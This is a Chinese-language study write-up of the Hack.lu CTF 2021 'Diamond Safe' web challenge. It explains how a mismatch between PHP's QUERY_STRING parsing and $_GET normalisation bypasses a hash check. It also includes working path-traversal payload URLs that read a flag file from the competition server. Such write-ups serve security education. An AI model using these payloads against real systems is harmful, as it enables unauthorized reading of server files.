Hack.lu CTF 2021 Diamond Safe学习
前言
看到安全客推送文章https://www.anquanke.com/post/id/258083
看到一道题Diamond Safe,于是小记一下,之前打CTF有做到过PHP的字符串解析特性,正好再结合这道题,做个笔记加深巩固下
记录
在登陆到后台后,有一个下载的功能,但是需要将secret和文件名组合的字符串进行md5加密,利用加密后的值和传入的md5值比较,必须相同才可以
有给定一个例子
https://diamond-safe.flu.xxx/download.php?h=f2d03c27433d3643ff5d20f1409cb013&file_name=FlagNotHere.txt
源码如下:
download.php
include_once("functions.php");
include_once("config.php");
$_SESSION['CSRFToken'] = md5(random_bytes(32));
if (!isset($_SESSION['is_auth']) or !$_SESSION['is_auth']){
redirect('login.php');
die();
}
if(!isset($_GET['file_name']) or !is_string($_GET['file_name'])){
redirect('vault.php');
die();
}
if(!isset($_GET['h']) or !is_string($_GET['h'])){
redirect('vault.php');
die();
}
// check the hash
if(!check_url()){
redirect('vault.php');
die();
}
$file = '/var/www/files/'. $_GET['file_name'];
if (!file_exists($file)) {
redirect('vault.php');
die();
}
else{
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
readfile($file);
exit;
}
functions.php
function check_url(){
// fixed bypasses with arrays in get parameters
$query = explode('&', $_SERVER['QUERY_STRING']);
$params = array();
foreach( $query as $param ){
// prevent notice on explode() if $param has no '='
if (strpos($param, '=') === false){
$param += '=';
}
list($name, $value) = explode('=', $param, 2);
$params[urldecode($name)] = urldecode($value);
}
if(!isset($params['file_name']) or !isset($params['h'])){
return False;
}
$secret = getenv('SECURE_URL_SECRET');
$hash = md5("{$secret}|{$params['file_name']}|{$secret}");
if($hash === $params['h']){
return True;
}
return False;
}
由于我是看了WP了,所以我也没仔细看源码的每一步,但是粗略看下流程就比较清晰了
可以看到有一个差异
就是获取要下载的文件是通过$_GET['file_name']
$file = '/var/www/files/'. $_GET['file_name'];
而校验md5用到的file_name参数是通过$_SERVER['QUERY_STRING']获取的,由于$_SERVER['QUERY_STRING']获得的参数是不会自动进行Urldecode的
于是利用这样的差异可以使用用如下payload:
https://diamond-safe.flu.xxx/download.php?h=f2d03c27433d3643ff5d20f1409cb013&file_name=FlagNotHere.txt&file%20name=../../../../../flag.txt
https://diamond-safe.flu.xxx/download.php?h=95f0dc5903ee9796c3503d2be76ad159&file_name=Diamond.txt&file_name%00=../../../flag.txt
用如下代码进行本机测试
<?php
show_source(__file__);
#echo $_SERVER['QUERY_STRING'];
echo "\n";
$query = explode('&', $_SERVER['QUERY_STRING']);
$params = array();
foreach( $query as $param ){
// prevent notice on explode() if $param has no '='
if (strpos($param, '=') === false){
$param += '=';
}
list($name, $value) = explode('=', $param, 2);
$params[urldecode($name)] = urldecode($value);
}
var_dump($params)."\n";
echo $params['file_name']."\n";
echo $_GET['file_name'];
非常清晰的就能看到区别
学习文章
https://www.anquanke.com/post/id/258083
https://fireshellsecurity.team/hackluctf-diamond-safe/
https://www.freebuf.com/articles/web/213359.html